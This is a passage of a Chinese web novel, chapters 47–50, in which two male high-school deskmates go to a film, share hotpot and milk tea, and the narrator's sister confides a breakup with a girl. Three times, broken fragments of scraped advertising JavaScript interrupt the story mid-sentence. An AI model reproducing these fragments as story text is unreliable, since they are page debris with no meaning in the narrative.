……去看电影也不是不行。 就是不知道,对方能不能答应了。 林藏初从小到大没约过人,以致于下定决心之后的这一周都过得心不在焉,隔三差五就要往谢遥集的位置上瞧几眼。 偶尔几次还好,次数多了就会收到谢遥集在课上疑惑回望的视线。 林藏初在心里措辞半天,最终也没能把这份突如其来的邀约给说出口,只随便找了个借口搪塞过去:“我黑板没看懂。” 这是周六上午的最后一节数学课,谢遥集果然被转移了注意力,放下笔凑过来,跟着林藏初的视线往黑板上瞧:“哪里?” 林藏初伸手,随便指了个地方。 谢遥集盯着那两个被圈起来的式子看了半天,忽然皱眉:“我怎么感觉这块儿写错了呢?” 林藏初:“?” 不是,他就随手一指啊。 但是谢遥集明显认真了,扯过来一整张崭新的草稿纸:“老师笔误,中间过程那里确实写的不对。” “我给你重新讲一遍吧。” 林藏初:“……?” 谢遥集凑过来的一瞬间,他开始后悔自己找的蹩脚借口。 说什么不好,怎么偏偏说有题不会? 哪怕说自己空气过敏呢:) 最近谢遥集不知道吃错什么药,自从上次月考之后对他烂泥扶不上墙的成绩忽然就在意起来。 ……总不能是因为自己当初开玩笑说的那句“想考年级第一”吧? 林藏初没忍住地心想,那也太扯了。 “……所以这里不能取等于,而应该是严格小于。” 谢遥集的声音落下来,像是从高空敲响的梵音,既听不懂又催眠。 最后他轻声问:“这道题明白了吗?” 问出来的话半天都没人回,谢遥集忽然想到些什么,伸手碰了碰林藏初支着脑袋的那只胳膊。 林藏初……林藏初手里握着充当门面的笔“啪嗒”一下,顺着缝隙掉在地上,头一歪,就这么栽倒在桌子上睡了。 47. Chapter 47 林藏初最后是被高姿喊醒的。 醒的时候身上还搭着一件略为宽松的秋季校服外套,随着他起身的动作滑落,掉到椅子上。 “……已经下课了吗?”被玻璃窗外的太阳晃着,林藏初还是有点困,长长地打了个哈欠,“几点了?” “早下课了。” 高姿靠着前座的桌椅,脚底下虚虚踩着横杆,很有一副大姐大的气势,“谢神拜托我,值完日再叫你。” 林藏初捏着那件被谢遥集留下来的校服,总感觉自己忘记了什么事:“他已经走了吗?” 高姿:“对啊,人家又不用值日。” 桌面上还放着那张写满了的函数草稿纸,边角处是林藏初趴着睡觉时弄乱的褶皱。 他移开手指,盯着上面规规整整的算式过程看了几秒钟,忽然在结尾的地方发现了一只被人刻意画上去的简笔画线条小狗。 小狗的头顶还冒出来“zZZ”的气泡。 林藏初:“……” 这人竟然骂他是狗?? 高姿也跟着把头凑过来,由衷地赞叹一句:“哇,好可爱,跟你长得好像。” 林藏初:“?” 哪里像了? 吱呀一声,脚底下踩着的桌子被他蹬出去几十厘米。 林藏初面无表情地评价道:“丑。” 高姿:“哪里丑了?这画的多可爱——” “我收拾好了。”他在高大委员的平反声里拎着空荡荡的书包慢吞吞地起身,并没有要在班级多留一会的打算,“谢谢你叫醒我,先走了啊。” 高姿盯着他离开座位,刚要说再见,就看着这人往外走了几步,又像是想起什么,犹豫着折返回去把椅子上搭着的校服拿了。 然后停了几秒,做贼似的背过身,飞也似的把那张谢神亲笔的草稿纸也揣进了书包里。 恰到好处目睹一切的高姿:“……” 啧。 ——林藏初直到跑出校门口,才想起来被自己选择性遗忘的事到底是什么。 门卫的大爷还在摇椅上听广播,这个时间段校门口的学生人流很少,林藏初随便找了个墙根站着,支着腿给谢遥集发消息。 菜就多练:你在哪儿? 对面隔了很久才回复,状态栏变短又变长,最后从底下的气泡弹出来几个字。 3314**629:在打工。 栅栏旁边有一大家子在支着铁架吃烧烤,半熟羊肉串混着炭火的香气顺着风刮过来,林藏初十分清楚地听见门卫室里面的大爷羡慕地叹了口气。 他低下头继续打字:还是上次那家网吧? 屏幕里很快回过来一个简短的“嗯”。 星云电竞。 林藏初还记得那家网吧的名字,果断地把手机收了,准备过去。 刚沿着栅栏走出几步,视线里就凭空多出来了几串烤好的、冒着油的羊肉串。 林藏初:“?” 林藏初缓缓低头,发现是那一大家子里面的小女孩,手里举着几串烧烤,还没有自己一半高,声音脆生生的:“大哥哥,吃!” 林藏初又往那张满是啤酒瓶的烧烤桌上看了看,家里大人正不错眼珠地盯着这边看,察觉到他的视线之后,笑呵呵地举起酒杯虚空碰了碰。 他还没开口,就听见门卫传来大爷慌里慌张的推拒声:“娃啊,你这是做甚,我不饿——” “吃!爸叭!送!” 是另一个不容拒绝的奶呼呼童音,兴许是刚会说话不久,字都是一个个艰难蹦出来的。 林藏初循声瞧过去,小娃娃还没有门卫窗口高,倔强地踩着小板凳踮脚往里面够,保安大爷满头大汗左护右护,生怕他摔了,只好把烧烤接了过来。 林藏初收回视线,面前的小女孩正睁着双圆溜溜的大眼睛盯着他看,眼含期待地把手里的羊肉串又往前送了送。 “谢谢。”林藏初没忍住乐了,也把烤串接过来,还没等再说什么,就看见小女孩辫子一甩,哒哒哒地跑回了大人身边。 林藏初于是又高声挥挥手:“谢谢!” 坐在噼里啪啦冒着烟的烤架旁边的人也挥挥手跟他道别:“哎!趁热吃啊!” 签子上的羊肉串热腾腾的还在冒油,林藏初走在路上,因为咬得太急差点被烫了舌头,热劲儿过去之后就是醇厚的鲜嫩油香。 他拐过后街,又横穿一条马路,对面就是星云电竞门口的霓虹灯。 林藏初举着羊肉串钻进去,门口风铃叮叮当当地响,前台忙碌的熟人一边收拾一边扬声招呼:“您好几位?开几个小时?有会员吗?” “没有会员,但是有羊肉串。” 林藏初趴在柜台上,把手里的烤串借花献佛地往前一递,撑着头看谢遥集收拾高处的零食柜子,“吃吗?” 谢遥集动作一顿,像是闹鬼了似的不可置信一回头:“林藏初?” “……你怎么来了?” 林藏初从柜台上直起身:“来上网——” “——算了。”他在谢遥集逐渐产生怀疑的目光中举着手改口道,“说了你也不信。” 网吧大厅里环境不算好,充斥着一股劣质尼古丁的味道,有些呛。 林藏初不由自主地屏了下呼吸,把手里拎着的校服外套递过去:“喏,还你。” 谢遥集接过来,也没穿,只是随意地放在了柜台里面的椅子上:“谢谢。” “——谢谢,这话应该我来说才对。”林藏初撑着脑袋,又卸了力没骨头地往柜台上趴,“不好意思啊,听你讲题讲一半就睡着了。” “没事。以后可以再讲。”谢遥集摇头,在林藏初第三遍把那串羊肉串晃过来的时候握住他的手腕 ,“我不饿。” 林藏初下意识把手往外挣了挣,没挣动。 “你这话怎么说得跟门卫大爷一个样儿。”他撇嘴道,“特别好吃,真的不要?” 谢遥集无奈:“……真的不要。” 两人说话间又有新的客人进来,林藏初的手腕被松开了,他从柜台上直起身,看着下面各种牌子的香烟,不知为何总感觉腕骨处的那种束缚感仍然还在。 “嗯,现在会员活动有优惠,卡内充值一百送二十。” 谢遥集温和的声音在耳边清楚响起,网吧昏暗的顶灯照下来,能看见空气中弥漫的呛人烟雾。 “……您看今天是开几个小时?” 林藏初靠着墙,视线落在他熟稔的刷卡开票动作上,忽然莫名其妙地觉得有些晕。 “四个小时是吗?满一百赠二十,这样开完卡里还剩下……” “……您的身份证,请拿好。” 林藏初默默地咬了一口凉下来的羊肉串,思维难得地顿了一下。 ……他来网吧是要干嘛来着? 哦,请人看电影。 但是林藏初站在柜台旁边,看着从刚才起就没闲下来过的人,打好的腹稿显然有些说不出口—— 他好像把一切都显得太简单了。 林藏初想,要不然就在这里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开台机子打到天黑算了。 来网吧怎么不算是来上网的呢? 目送又一茬过来开黑的客人从前台离开进了包间,他抿了抿唇,做好打算般地开口:“喂——” “还敢偷着打游戏?!叫你爸知道非得打断你的腿不可!” 林藏初的话忽然被人嗓门很高地打断了。他转身,看到网吧老板拎着耳朵从里间怒气冲冲地拽出来一个年轻男生。 看见前台的谢遥集和一旁站着的林藏初,他先是把脸上的怒气散了,转而变脸一样换上了副慈祥的笑容:“小谢啊,忙着呢?” “这位是……”老板的目光落在林藏初身上,他觉得这个男生有点眼熟,好像以前也来过店里,“也是客人吗?” “不是,是我同学。”谢遥集委婉地把话接过来。 “噢噢!原来是同学啊。” 老板一只手还拎着年轻男生的耳朵,被拎的人疯狂挣扎,但怎么也逃不出老板铁钳般的力道。 “今天正好周六,要不给你放个假吧。” 老板语气和态度都是笑眯眯的,爽朗的声音穿过嘈杂的网吧大厅,钻进两个人的耳朵里:“年轻人出去和同学玩一玩嘛,工资照开就是。” “你们高三学业重,平时也没什么时间玩吧?” 谢遥集有点犹豫:“这……” 网吧前台的值班轮换都是其他人已经商量着排好的,像他这种兼职,就更是没什么挑剔的余地。 被分到后半夜是常有的事。 好在网吧老板人好,在值班排表这件事上格外开恩,在规章制度里留给了他一点为数不多的、高中生最基本的睡眠保障。 老板看出他的顾虑,大掌一挥地把人往前一推,年轻男生趔趄两步哎呦一声,堪堪扶住了柜台。 “小谢啊,你就放心地去玩儿吧。” “天塌下来有我顶着呢。”老板信誓旦旦地一拍胸脯,视线针也似的从年轻男生的身上扎过去,“再说,我侄子这不也在——” “这么大了,是该学着帮帮忙了。” 年轻男生强烈抗议:“我不!唔——” 他的嘴被老板眼疾手快地粗鲁捂住,整个人都憋成一只涨红了脸的大西红柿:“唔唔唔唔!” “西红柿”的幽怨视线直直地投过来,映射到谢遥集的身上,仿佛要把他盯出来一个洞。 谢遥集:“……” 他咳了一声移开目光,倒也没说这人是经自己手底下开的机位,沉默地把这个秘密埋在了心底:“谢谢老板,那我走了?” 网吧老板欣慰地摆手:“哎,走吧!好好玩!” 林藏初就这么一头雾水地跟着谢遥集出了网吧,嘈杂声和烟雾都留在了身后的玻璃门里。 他还是有点没反应过来状况,忍不住偷偷扯了扯谢遥集的袖子:“为什么忽然给你放假?” 谢遥集的胳膊上搭着林藏初还给他的校服,上面残留了些很浅淡的香烟味道。 谢遥集说:“好问题。” “老板人很好是其一。”他低着头,很认真地往林藏初的脸上看,“想要趁着这个机会规训教育自家的网瘾小孩,这是其二。” 谢遥集伸出来第三根手指,慢悠悠道:“其三——” 林藏初等半天也没等到他说话,皱着眉开口问:“其三?是啥你倒是说啊。” “其三就是。”谢遥集说,“因为你来找我了。” “所以善良的老板感念我工作辛苦,决定放我一个美好的周六假期。” 48. Chapter 48 林藏初张了张嘴,不说话了。 他有那么一点叛逆的心理想要反驳谢遥集的这句话,比如来网吧的本意其实是想打游戏,才不是要找人—— 但林藏初想起自己昨天晚上反复点开的电影购票程序,还是没能把这句掩耳盗铃的辩解说出口。 街道上车水马龙,偶尔有路过的汽车长而远的鸣笛声,谢遥集和他并排走着,在红绿灯倒计时闪烁的路口停下。 “要去哪儿?”谢遥集问,像是不经意地提起,又好像只是随口一说似的。 林藏初盯着面前斑驳的人行道,咽了下口水,不知道为什么有些紧张,故作轻松地转头开口:“最近新上了部电影。” “……要不要一起去看?” 呼。结束了。 终于把这两句话说出来了。 林藏初甚至没想过谢遥集的回答是什么,只觉得心口压着的沉甸甸的石头终于尘埃落定地放下了。 想来想去又感觉自己也挺神经,把简单的邀请一拖再拖,变成说不出口的心事。 “看电影?”谢遥集把这两个字放在嘴里嚼了一遍,带着种新奇的意味重复道,“我们两个?” “对啊。” 林藏初摸不准他话里的意思,跟着往上打补丁:“我出钱请你陪我看。行不行?” 绿灯亮起,马路上的车流销声匿迹,谢遥集熟稔地拽起林藏初的手腕,跟着人群一起穿过人行道,问道:“陪?” 孤零零的一个字。 颠倒过后的邀请主动方。 林藏初眼睛亮亮地往他脸上看:“陪一下嘛,好同桌。” 好像无师自通了什么撒娇技巧一样,只是手还攥在身侧,很紧张的样子。 谢遥集忽然摸不准林藏初这次邀约的目的了。只是普通同学间的往来吗? 街边的便利店旁人来人往,偶尔有路过的女生悄悄地把视线往这两个赏心悦目的帅哥身上扫。 谢遥集不着痕迹地把林藏初给挡住,握着自己心里那点无处遁形的隐秘喜欢,心跳错了一拍:“为什么是我?” 林藏初说:“因为你是我同桌啊。” 谢遥集行将沸腾的心倏地凉下去,寂静消弭过后,耳畔是这条街道上热闹的店铺吆喝声。 “都当同桌这么久了,还没约出来一起玩过。”林藏初掰着手指头很认真地算,“给个面子吧?就当是促进邻里感情。” 又是同桌。 就好像什么都要嵌着这两个字的壳子,抛却那张薄薄的座位表后他们的关系什么都不是。 谢遥集盯着这人脸上大大方方的笑容,内里那点占有欲像是乱七八糟的线团一样被强行盖在盒子里,表面却仍是一派整洁的模样:“好啊。” “就喜欢你这种爽快人!”林藏初一把拍上他的肩膀,硬生生把人扯过来了几十厘米,“走!已经订完票了,德辉路那家!” 谢遥集猝不及防地被拽走,脑子里还在消化他刚才的话:“……你什么时候买的?” 林藏初一时间没反应过来,脱口而出道:“昨天晚上啊!” 谢遥集:“?” 林藏初后知后觉地发现自己说漏了嘴:“……” 谢遥集的视线扫下来,带了重量似的落在林藏初的眼睛上:“如果我不答应,别人陪你也可以?” 林藏初几乎在他话音未落的时候就出口道:“才不。” “我没有想过要邀请其他人。” “如果你来不了,退票也是一样的啊,又不会多花钱。” 林藏初心虚地移开目光,没好意思说自己根本没想过“被谢遥集拒绝”这件事之后的解决办法。 看个电影而已,哪有那么多弯弯绕绕? “只是想跟你一起看而已……”林藏初说,“我还没和年级第一一起看过电影呢。这不得抢在毕业之前好好体验一下。” “谁知道这种事会不会哪天就突然被冒出来的陌生学妹抢走——” 谢遥集叹了口气,也不知道是被他话里的哪一句给取悦到了,也跟着弯了弯嘴角:“哪有什么陌生学妹。” 死对头同桌还差不多。 “不是学妹也是同级的。”林藏初一边往前走,一边记仇似的开始数,“前天的匿名情书、上周的巧克力奶茶,还有上上周的粉蝴蝶结礼盒……” 谢遥集:“……” 谢遥集头疼地捏了下额角:“我都退回去了。” “退回去就不算有人送了吗?”林藏初转了眼珠幽幽地盯着他,“谢同学,你到底对自己的受欢迎程度有什么误解?” 他望着太阳挂西的天空,羡慕地喃喃:“要是我也这么有女生缘就好了……” 谢遥集下意识地跟着他的话去想那个场面——前呼后拥,嘘寒问暖。 接不完的情书和收不完的礼物。 又想起来刚才在街边,旁边路人明晃晃瞧林藏初的那几眼。 就好像下一秒就要冲过来要联系方式了。 平心而论,林藏初在班级里的人缘要比他好上太多,只是这个人自己神经大条从不在意,把一切都当成是同学间的正常交往。 谢遥集心里明镜似的,心道这人要是抛头露面,追在后面递情书的绝不会少—— 只是林藏初太宅也太不爱经营那些所谓的人际交往,反倒只落了个“脾气坏”的少爷标签。 如果真要是有那么一天林藏初想通了,被几乎所有人无差别地喜欢着,谢遥集这种顶着“同桌”二字,所以才勉强在林藏初心里变得特殊一点的日子,也就算到头了。 他光是想想那个场面都要觉得窒息:要钱没钱,要共同话题没共同话题,就连打游戏都能菜到把人气翻。 谢遥集心想,等到那个时候,自己一定是暗恋的人里被迫排在最末尾的那个。 所以最好是除了自己,谁都不要发现林藏初的好。 他情绪很淡地想,就好像在思考第二天早上要吃煎蛋还是啃面包一样平常。 林藏初走出去几步,要过马路时回手摸了个空,一转头才看见谢遥集并没有跟上来。 他折返回去,皱眉往对方的眼前挥了挥手:“喂,看什么呢?” 谢遥集倏地从那些蓬乱如麻的想法中回神,发现自己已经在原地站了很久。 林藏初的手在很近的地方晃来晃去,最后是一根修长的、举起来的食指。 “这是几?”谢遥集听见他问。 谢遥集:“……” 谢遥集心里那股郁结之气彻底地散了,回想起来甚至要把自己给想笑——他跟这种不按常理出牌的人往以后猜个什么劲儿? 果然林藏初下一句话:“傻了?” “… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …”谢遥集没给他说第二句话的机会,伸手握住这人的手腕往下轻轻一带,惯性使然,就好像一口气把人搂进了怀里似的,“绿灯了。看路。” 林藏初在他怀里艰难地转过身,果然周围的人都已经零零散散地走了。 马路对面就是电影院,他被谢遥集树袋熊似的推着过去,怎么走怎么别扭,想开口拒绝,又感觉同桌之间关系好,牵个手好像也没什么。 他巴不得谢遥集跟自己关系好一点,怎么会在这种小事上退缩! - 不退缩的林大少爷就这么一直被人握着手腕进了电影院,握着手腕到自动取票机前取了票,再握着手腕地去前台买了爆米花和可乐,最后走到检票口。 入口的检票员本想遵守职业道德地做到目不斜视,但最终还是没忍住,偷偷往这对gay里gay气的两人脸上瞧了瞧。 ……现在学生颜值都这么高了吗? 她有些恍惚地撕了票据,走流程地提醒道:“里面左拐,三号厅。” 一路上受了不少人的注视礼,林藏初的脸皮已经快烧起来了,但处于对这份同桌友谊的坚守,还是死撑着没有率先撒手。 他听见谢遥集礼貌地跟检票员回了声谢谢,然后就感觉手腕上锢了一路的温热触感往下坠了坠,从被人握着腕骨转而变成了十指相扣。 林藏初:“……” 这也是好朋友的相处握手方式之一吗? 影院的走廊里铺了长长的地毯,走上去之后听不见脚步声,于是林藏初只能听见自己沉闷而震颤的心跳。 空调的冷气开得很足,可他竟然莫名其妙地感觉到热,热到连相握的手掌都沁出层薄汗—— 林藏初像是触电般地一甩手,把人挣开了。 掌心骤然接触到走廊里干凉的空气,不适应地自顾自蜷缩了一下。 被甩开的人爆米花桶没拿稳,哗啦啦地洒了一地。 林藏初:“……” 碰巧路过的清洁阿姨:瞪视.jpg 这段插曲最终以林藏初道歉、谢遥集帮忙扫地而告终。 好在离电影开场还剩下短暂的两分钟,直走不远就是他们要找的三号厅。 林藏初快走两步,不敢去看身后的人是什么表情,也不敢看桶里的爆米花还剩多少,双手齐上地推开三号厅的门。 “……那个啥,咳,到了。” 放映厅里没有开灯。 林藏初只往前踏了一步就顿住了,整个人隐在半亮半暗的交界线里,身后是走廊明亮的白炽灯光。 他在黑暗里的视物能力要比正常人差上一些,可能是遗传,也可能是别的什么原因。 ——林藏初不怕黑,但是讨厌没有光的地方。 几乎是他站住的同一瞬间,手电筒的细微光亮从身后照过来,谢遥集很轻地按了下他的肩膀,道:“慢点走,小心台阶。” 黑暗的视野重新变得明晰,林藏初在口袋里松开刚握住手机的手指,低头数着台阶往上走。 ……第五排。 他在数好的位置停下,身后的手电筒光配合地凑近了些,好让林藏初能确认座位序号是否正确。 五排六号和五排七号。 林藏初在“六号”的位置停住,朝着身后抱着爆米花和可乐的人幅度很小地勾了勾手,说:“在这儿。” 49. Chapter 49 两杯加冰的可乐分别放在座椅之间,谢遥集落座后将爆米花桶递过去一份,荧幕提前闪烁亮起,他朝着周围望了一圈,没再发现其他人的身影。 这显然和他预想中的场景不一样:“这一场只有我们两个?” “好像是。”林藏初回忆了下自己买票时空荡荡的选座界面,“确实没人看。” 谢遥集以前没有来过,自然也不知道小县城的电影院里这种整场虚席的情况才是常态。 “花两张票的价格看包场电影,”林藏初探过身,从所剩无几的爆米花桶里抓了一把,“算咱赚了——嘘,开始了。” 前方的荧幕暗下又亮起,谢遥集盯着里面片头出现的黑色小猫和几只妖怪,动作很轻地把爆米花往对方的身侧挪了挪。 电影不长,林藏初因为之前看过同系列动漫的缘故,所以对里面的背景也提前有所了解。 他担心谢遥集会觉得这种电影幼稚又无聊,忍不住隔三差五地往人家脸上瞧。 荧幕反射出来的光线随着画面的变化时暗时亮,明明灭灭地投在谢遥集轮廓明显的鼻梁、喉结,以及这人好看的瞳孔里。 林藏初只偷偷看了一眼,就下意识地被吸引住了视线。 从这个角度看过去,显得这人睫毛特别长,几乎要戳到镜片上—— 他看见谢遥集抬起手,抵着细框眼镜的边缘向上推了推。 真是要命了,这人到底怎么长的? 连手也这么好看。 影院放映厅里的音响分贝极大,林藏初被震得有些耳朵疼,但脑袋里还是不受控制地蹦出来这么一句话。 他盯着人的时间实在太长,以致于谢遥集都微微偏头地看了过来,比着口型问:怎么了? 林藏初……林藏初被自己的口水一呛,咳了个惊天动地。 与此同时,他放在口袋里的手机雪中送炭地震了下。 林藏初不知为何忽然松了口气,掏出手机讪讪示意,于是谢遥集点点头,把注意力重新放到荧幕上。 林藏初低头点开手机锁屏。 是林子浔给他发的一条微信消息。 跟以往的碎碎念和狂轰乱炸都不一样,是张很突兀的小狗哭哭表情包。 然后是一段很长的语音条。 林藏初还没来得及点开语音转文字,对面就秒撤回。界面上只剩了系统自带的提示。 林藏初:? 林藏初的微信头像是一只很潦草的线条小猫,林子浔七岁那年画的。 他在聊天界面等了很久,也不见对方发过来第二条消息,越想越觉得纳闷儿,干脆回了个句号过去。 想不出来:。 想不出来:咱妈断你生活费了? zZ:…… 林藏初从屏幕这头仿佛都能读出来林子浔藏在六个点后面的深切无语。 他思考两秒,刚准备换个切入的角度问。 那头忽然很突然地又发过来一句。 zZ:哥,我好像失恋了。[大哭.jpg] ……? ?????! 林藏初被自家妹妹短短五个字外加两个标点符号炸了个外酥里嫩,一口气梗在嗓子眼里喊不出来险些把大脑炸成烟花。 手机自带的键盘音被他按得噼里啪啦响,谢遥集的脑袋不易察觉地微微偏了个角度,视线的余光跟着落过来。 聊天框里两人的惊天对话还在继续。 想不出来:你再说一遍,啥???? zZ:[大哭.jpg] [大哭.jpg] 想不出来:(正在输入中……) 想不出来:你被哪个黄毛骗了?人在咱们学校? 想不出来:哪个班的 想不出来:我去把他腿给打断 远在林家别墅,正窝在床上泪眼婆娑哭到一半的林子浔握着手机呆住了。 她卡带的大脑僵硬地转了几秒,忽然发现自己描述的事情,在自家哥的想象中好像越发混乱了。 电影院里,林藏初还在气头上—— 怪不得上次忽然提起来问自己有没有对象,敢情是自己先有了苗头。 当哥的越想越难受,手落在语音通话键上迟迟未按。 ……虽然整个影院厅里只有他和谢遥集两个人,但公共场合打电话实在是不好。 荧幕里的电影正演到高潮,一人一猫配合着爆杀反派,林藏初连做了三个深呼吸,脑瓜子嗡嗡地疼。 zZ:没有,哥,你别着急 zZ:没你想得那么严重……是个很漂亮的女生,成绩很好,没染黄毛。 zZ:是我自己的问题,你别去打扰她 ……? ????? 林藏初刚喝进嘴的冰镇可乐分毫未剩地喷出来,本就在冒烟的大脑像是被饮料浇短路一样,“咔吧”一声停止了工作。 “咳!……咳咳!咳咳咳咳咳咳咳!” 谢遥集:“?” 他顾不上掩饰自己的偷看行径,把手伸过来拍着林藏初的背帮人顺气:“这是怎么了?” 荧幕里的黑猫被坏蛋一脚踹飞了。 聊天框还在一条一条地往外蹦消息,全都是妹妹的心碎怨女发言,林藏初气若游丝地抓着谢遥集的手,说:“我要完了。” 谢遥集拍他背的动作一顿:“……?” 林藏初深吸一口气,颤颤巍巍地重新往聊天框上看。 zZ:其实我们好像也不算是在谈恋爱 [望天.jpg] zZ:只是现在想起来会难过 zZ:哥,你怎么不回我了 zZ:你别生气嘛。[对手指.jpg] [可怜.jpg] 林藏初痛苦地一闭眼:“真完了。” 谢遥集还是头一回看他这么慌里慌张,手上顺毛的动作没停,轻声问:“发生什么了?” “……我妹好像喜欢上女的了。” 林藏初神色古怪地抿了抿唇,这种私事本不应该跟外人说,可是他不知道为什么潜意识里就觉得谢遥集不是外人,“还被骗了感情——” “不对。”林藏初扒拉了两下手机屏幕,迅速改口,“是她骗了别人感情。” “但是还是很……” 林藏初肉眼可见地有些崩溃:“怎么会忽然跟女生早恋啊?!” 谢遥集拍背的动作骤停,随后倏地没了声儿。 林藏初低头噼里啪啦地打着回复,丝毫没有察觉到身边人安静得略微有些反常。 直到谢遥集终于很轻声地开口问:“你很讨厌同性之间的这种喜欢?” 林藏初刚憋里八屈地发完一句“别哭了妹,实在不行哥帮你把人追回来”,闻言茫然地从手机里抬起头:“啊?” 冰可乐的透明外壳凝出水珠,顺着薄薄的杯壁滑下来,落到谢遥集握着杯子的手指上。 他张了张口,想重复一遍刚才那个问题,但最终还是什么都没说,只沉默着喝了一口可乐。 “也不算是讨厌吧……” 他料想中会落空答案的冒犯问句被人轻飘飘地接住了。 “只是有一点点奇怪。”林藏初抓了抓头发,皱着眉很仔细地思考了一下,“不过喜欢就是喜欢了,哪还分什么三六九等?” 谢遥集捏着杯子的手悄无声息地松开了。 “是啊。”他低着头,声音很轻地应道,“哪儿分什么三六九等。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你肯定是喜欢女生的吧。”话题聊到这个份上,林藏初忽然起了点儿八卦的好奇心,“追你的学妹那么多。” 可能是今天影院卖的可乐有问题,林藏初清楚地听见谢遥集也呛了一下。 “……嗯。” 他看不清谢遥集的表情,这人咳了几声就抬头去看电影了,只留下了个含糊不清的单音节。 还想旁敲侧击地问他有没有前任的林藏初:“……” 好敷衍,好没意思! 林藏初愤愤然地又咬碎一颗爆米花。 . 电影结束之后已经是下午饭点,两个人就近原则地在电影院旁边搓了一顿火锅。 店里人很多也很热闹,但胜在好吃又不贵。结账的时候谢遥集争着抢着要付款,被林藏初按着坐下了—— 林大少爷原话是:有他在,就没有让同桌付钱的道理。 ……嗯,很霸道总裁、很让人热泪盈眶的一句话。 谢遥集顶着同桌头衔,形容词堆叠地心想,然后很礼貌地加上微信,试图把钱给A回去。 几秒钟后微信发来消息通知,转账被少爷再次退回了。 谢遥集:“……”好吧。 他一会儿要去赶程家补课的场子,两人正好顺路。 离约定的时间还早着,周六的街上没什么人,远处的黄昏余晖连成一片,夕阳挂在杂货店的牌匾上方,把行人的影子拉得很长。 谢遥集走着走着就落在了林藏初的后面,对方拉长的影子镀着毛茸茸的暖黄色边角,随着走路的步伐微微地晃。 一直晃到谢遥集的脚步下面,被他轻轻踩到、又再次小心翼翼地避开。 “我想喝奶茶了。要不要去买两杯?”林藏初忽然回过头,谢遥集一直盯着人背影的视线躲闪不及,直直地撞进对方亮晶晶的眸子里。 倒映着黄昏的颜色,漂亮得要命。 林藏初无知无觉地指了指前方几米处奶茶店摆在外面的木牌:“——今日活动,两杯优惠。” “好。”谢遥集点头,也跟着停下脚步,“我去买。” 他很快地钻进奶茶店的玻璃门,林藏初在身后遥遥地喊:“哎——等等我!” 吱呀一声,玻璃门缓缓关上,门外的声音被店内清脆响起的风铃声盖过去,是只透着光的小金鱼。 谢遥集想起网吧里的那串形状别出心裁的风铃,是老板自己动手做的,丑得要命。 奶茶店的墙上粘着花花绿绿的便利贴。 店主说这是最近很流行的许愿墙——很受小情侣们喜欢。 谢遥集在前台点单,一杯不加珍珠,一杯七分糖。 付了款之后店主回身开始着手做奶茶,他等得无聊,鬼使神差地把自己等到了许愿墙的旁边。 便利贴上写着很多人的字迹,层层叠叠一张接着一张,有友谊长存,有考试顺利,还有天长地久永不分离。 谢遥集盯着最上面一颗画得歪歪扭扭的心和缩写看了很久。 桌面上的笔筒插着几只没了墨的笔,荧光色的便利贴随意地摊在一旁。 林藏初站在门外没进来,敲了敲奶茶店的玻璃窗,比着很夸张的口型问:你、干、嘛、呢? 谢遥集在店里隔着玻璃看他,不知是想到什么,也比着口型回:在、许、愿。 林藏初:“……?” 他怀疑自己看错了,忙不迭哈了口气,擦了擦面前略有些模糊的玻璃窗。 他看见谢遥集从外套口袋里勾出来一只黑色签字笔,弯腰往桌面上写了些什么。 然后伸长胳膊,将一张写满字的便利贴牢牢地粘在了墙面最高处。 林藏初:“……??” 50. Chapter 50 可能是那杯不加珍珠的奶茶的缘故,也可能是今天的这场电影真的很好看。 总之林藏初最后回到家的时候心情愉悦脸上带笑,哼着小曲春风得意地推开门—— 然后跟沙发上坐着的、眼圈红红的林子浔来了个四目相对。 林子浔明显是刚哭过,茶几上的纸巾盒已经没了大半。 门口进来的人笑容满面对比鲜明,她用力擤了下鼻涕,声音闷闷的:“哥你这么高兴,是约会去了?” 林藏初正扶着玄关换拖鞋,被她猝不及防一问,高兴的歌声戛然而止:“?” 啥玩意儿? “不是一家人不进一家门,你不会也在背着我谈恋爱吧。”林子浔语气幽幽,从自己的失恋悲伤里短暂地脱离出来了会儿,评价道,“从刚才进门开始,你周围就像在冒粉红泡泡一样。” 林藏初:“?” 林藏初下意识反驳:“净瞎扯淡!” “啧。”林子浔又吸了吸鼻子,泪眼婆娑地抱着臂看他,“那你说说,你刚跟谁出去的?” “买了奶茶。”她的视线落在自家哥拎着的奶茶袋子上,上面插了根吸管,明显是路上买的,只喝了一半,“还是情侣款双人套餐。” ……哈? “胡说,我明明点的普通款双杯!”他皱眉争辩,把奶茶的外包装袋拎起来,试图举到林子浔面前让对方看个仔细,“你睁……” 林藏初本来想说“你睁大眼睛好好看看”,但是奶茶举起来的瞬间,他忽然迟疑地噤了声。 半个爱心套着丘比特。 这还真他妈的是节假日最新情侣款。 谢遥集请的。 ……难不成是店主装错袋子了? 他罕见地陷入了沉思,另一种可能性浮上心头又被很快打散。 丝毫没有往买奶茶的人身上去想。 林子浔探寻的目光犹有实体一般,火热地扫过来,善解人意地接茬道:“我看?” 林藏初:“……” 林藏初把印着“一生一世一双人”的奶茶噌地甩去了身后:“……还是别看了。” 林子浔:“唉。” “热恋期的人,就是跟咱不一样。” “……”林少爷在这场突如其来的辩论赛里惨败,忍无可忍踩着拖鞋飞也似的跑上楼。 身后传来自家妹妹破釜沉舟拉人下水的喊声:“啥——时候——把对象领家里瞧瞧呗——藏着掖着有什么意思——” ……疯了。都疯了。 半分钟之后,林藏初喘着气,像是在躲洪水猛兽般把房间门猛地一关。 谢遥集当他对象? 哈,年级第二来了都不敢这么想。 林藏初的心莫名其妙地跳得厉害,绝望地发现了一个事实——他好像被林子浔给带进了被迫自证的逻辑怪圈里。 书桌上还摆着谢遥集帮他整理好的上课笔记,压在纸面的书签是对方折的硬纸小猫。 还有手里的情侣款奶茶套餐—— 林藏初靠着门坐在毛绒地毯上,忍不住又往奶茶袋子的标语上看。 只扫了一眼,就像被烫到了似的移开目光。 他以前从来没考虑过这个问题。 林子浔说他是跟喜欢的人出去玩了才这么高兴。 林藏初把自己和谢遥集这一下午干过的事在脑袋里细细地回忆了一遍。 看电影。逛街。吃火锅。 ……似乎也没有什么特别的。 但就是很高兴。 比连赢十二把巅峰赛还要高兴。 “……” 林藏初运转的思绪卡了壳,难得地想了一下谢遥集如今在他心里的重要程度。 